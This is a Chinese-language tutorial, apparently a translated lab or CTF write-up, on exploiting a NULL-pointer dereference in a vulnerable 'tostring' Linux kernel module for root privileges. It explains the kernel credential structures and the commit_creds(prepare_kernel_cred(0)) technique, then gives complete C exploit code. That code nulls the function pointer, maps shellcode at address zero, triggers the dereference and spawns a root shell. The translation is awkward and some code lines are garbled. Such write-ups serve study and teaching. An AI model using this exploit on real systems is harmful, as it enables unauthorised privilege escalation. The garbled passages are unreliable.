内核exploit——如何应对空指针异常现象

什么是空指针异常?

如果一个未初始化或零编号(zero-ed out)的指针被取消引用时，将会导致程序计数器/指令指针(PC/IP)指向0，从而导致内核崩溃!

当遇到上述情况，首先需检查是否启用了任何保护程序，如果启用了就将其全部关闭，包括管理员保护模式、数据执行保护模式(DEP / NX)以及mmap_min_addr保护机制。

ring0层与ring3层有所区别(Intel的CPU将特权级别分为4个级别：RING0、RING1、RING2、RING3。Windows只使用其中的两个级别RING0和RING3，RING0只给操作系统用，RING3谁都能用)。由于计算机使用二进制，因此在ring3层操作过程中，我们仅需要关注如何追加一个shell命令，我们需要这个时间来修改权限。庆幸的是，目前仍存在一些内核结构，持有当前的进程权限。我们将尝试利用权限来进行root，并在处理完这些后再追加一个shell命令。

如何提升权限?

在进行提升权限操作前，我们需要知道我们需要做哪些事情：

每个进程信息都存储为一个进程描述符(task_struct)

下列是sched.h文件：

struct task_struct { 
/* ... */ 
/* Process credentials: */ 
/* Tracer's credentials at attach: */ 
const struct cred __rcu *ptracer_cred; 
/* Objective and real subjective task credentials (COW): */ 
const struct cred __rcu *real_cred; 
/* Effective (overridable) subjective task credentials (COW): */ 
const struct cred __rcu *cred; 
/* ... */ 
} 
下列是cred.h文件： 
struct cred { 
/* ... */ 
kuid_tuid;/* real UID of the task */ 
kgid_tgid;/* real GID of the task */ 
kuid_tsuid;/* saved UID of the task */ 
kgid_tsgid;/* saved GID of the task */ 
kuid_teuid;/* effective UID of the task */ 
kgid_tegid;/* effective GID of the task */ 
/* ... */ 
}

下面我们将主要关注有效的用户身份证明(UID)任务。如果我们成功将其值设置为0，则当前任务将具有root权限!

我们应该如何找到他们?

可以利用一些内核符号。

一些功能可用于提升当前的进程权限，它们的地址是静态的，可以根据我们处理的内核重新生成：

/proc/kallsyms, /proc/ksyms, /dev/ksyms..

上述这些函数在cred.c.中。

extern int commit_creds(struct cred *); 
/* ... */ 
extern struct cred *prepare_kernel_cred(struct task_struct *);

我们可以看到，prepare_kernel_cred()函数的返回值类型为struct cred *，之后再以此作为参数传递给commit_creds()，这样就可以将我们新获得的权限分配给当前的进程!

结论：可以通过“commit_creds(prepare_kernel_cred(0))”命令来提升权限;

了解漏洞并学会触发这些漏洞

在进行内核开发前，我们需要知道如何触发漏洞，还需要知道在什么情况下指针会被取消。

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解决内核威胁问题

我们首先需要检查保护程序

如上图所示，所有的保护措施都出于关闭状态。

在“tostring_write()”函数里，我们可以看到这些命令应该始终以10’*’开头。

当这个内核模块被加载时，它会在每次运行时启动结构，每次运行都会启动一次。

如上图所示，我们不难发现这会启动“tostring_create()”。当在“tostring_s struct!”下设置函数指针时，该功能就会响应

这一点非常重要，请谨记于心!因此，这两个指针在每次运行时都被设置一次(或者需要的话)。

现在我们轻易地就能辨认出漏洞的函数，如下所示：

static ssize_t tostring_write(struct file *f, const char __user *buf,size_t len, loff_t *off) 
{ 
char *bufk; 
int i,j; 
printk(KERN_INFO "Tostring: write()\n"); 
bufk = kmalloc(len + 1, GFP_DMA); 
if (bufk){ 
if (copy_from_user(bufk, buf, len)) 
    return -EFAULT; 
bufk[len] = '\0'; 
i=0; 
while(i <len) { 
  for (j=0;(j<10) && (bufk[j]=='*');j++); 
  if (j == 10) { 
    for (j=i+10;(bufk[j]!='\0') && (bufk[j] != '\n');j++); 
    bufk[j]='\0'; 
    printk("Tostring: Cmd %s\n",bufk+i+10); 
    switch(bufk[i+10]) { 
    case 'H': 
      tostring->tostring_read= tostring_read_hexa; 
      break; 
    case 'D': 
      tostring->tostring_read= tostring_read_dec; 
      break; 
    case 'S': 
      printk("Tostring: Delete stack\n"); 
      kfree(tostring->tostring_stack); 
      tostring->tostring_stack=NULL; 
      tostring->tostring_read=NULL; 
      tostring->pointer=0; 
      tostring->pointer_max=0; 
      break; 
    case 'N': 
      printk("Tostring: Stack create with size %ld\n",local_strtoul(bufk+i+11,NULL,10)); 
      if (tostring->tostring_stack==NULL) tostring_create(local_strtoul(bufk+i+11,NULL,10)); 
      if (tostring->tostring_stack==NULL) printk("Tostring: Error, impossible to create stack\n"); 
      break; 
    } 
    i=j+1; 
  } 
  else { 
    printk("tostring: insertion %lld\n",*((long long int *) (bufk+i))); 
    if (tostring->pointer >= tostring->pointer_max) 
      printk(KERN_INFO "Tostring: Stack full\n"); 
    else 
      tostring->tostring_stack[(tostring->pointer)++]= *((long long int *) (bufk+i)); 
    ii = i+sizeof(long long int); 
  } 
} 
kfree(bufk); 
} 
return len; 
}

正如我们所见，在“ten ‘*’”后会出现一个“S”。这就会使函数指针tostring_read无效，而这一点对我们有力。

但是，在将其设置为null之后，我们需要读取它，以使其被取消引用。因此，我们需要读取该文件，以触发启用“tostring_read()!”命令。

我们开始编写开发程序。我们之前使用Python语言进行编写，现在我们换成C语言。

我们先写一个较为简单的以触发命令和清除函数指针。

#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 
#include <sys/mman.h> 
#include <fcntl.h> 
/**/ 
#define vulnerable_device "/dev/tostring" 
/**/ 
void main(void){ 
int fd; 
char payload[15]; 
/**/ 
memset(payload, '*', 10); 
/**/ 
payload[10] = 'S'; 
payload[11] = 0; 
/**/ 
fd = open(vulnerable_device, O_RDWR); 
if(fd < 0){ 
printf("Couldn't open device!"); 
} 
/**/ 
write(fd, payload, 12); 
}

目前一切都比较顺利，但我们仍需通过读取文件使其取消引用。

read(fd, 0, 1)

我们做到了，我们将其IP指针设置为0

幸运的是，mmap_min_addr保护处于关闭状态。我们可以在NULL中分配一个小区域，并放置我们的shellcode来提升权限。

现在就可以从“/proc/kallsyms!”中获得“prepare_kernel_cred”和“commit_creds”地址。

我将使用rasm2做一个shellcode：

以下是shellcode：

在我们的开发程序中取消指针前，我们就可以开始添加shellcode：

#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 
#include <sys/mman.h> 
#include <fcntl.h> 
/**/ 
#define vulnerable_device "/dev/tostring" 
/**/ 
void pop_shell(){ 
system("sh"); 
} 
/**/ 
void main(void){ 
int fd; 
char payload[15]; 
char shellcode[15] = "\x31\xc0\xe8\xe9\x11\x07\xc1\xe8\x74\x0e\x07\xc1\xc3"; 
/**/ 
memset(payload, '*', 10); 
/**/ 
payload[10] = 'S'; 
payload[11] = 0; 
/**/ 
fd = open(vulnerable_device, O_RDWR); 
if(fd < 0){ 
printf("Couldn't open device!"); 
} 
write(fd, payload, 12); 
/**/ 
mmap(NULL, sizeof(shellcode), PROT_EXEC |PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS |MAP_FIXED, -1, 0); 
memcpy(NULL, shellcode, sizeof(shellcode)); 
/**/ 
read(fd, 0, 1); 
/**/ 
pop_shell(); 
}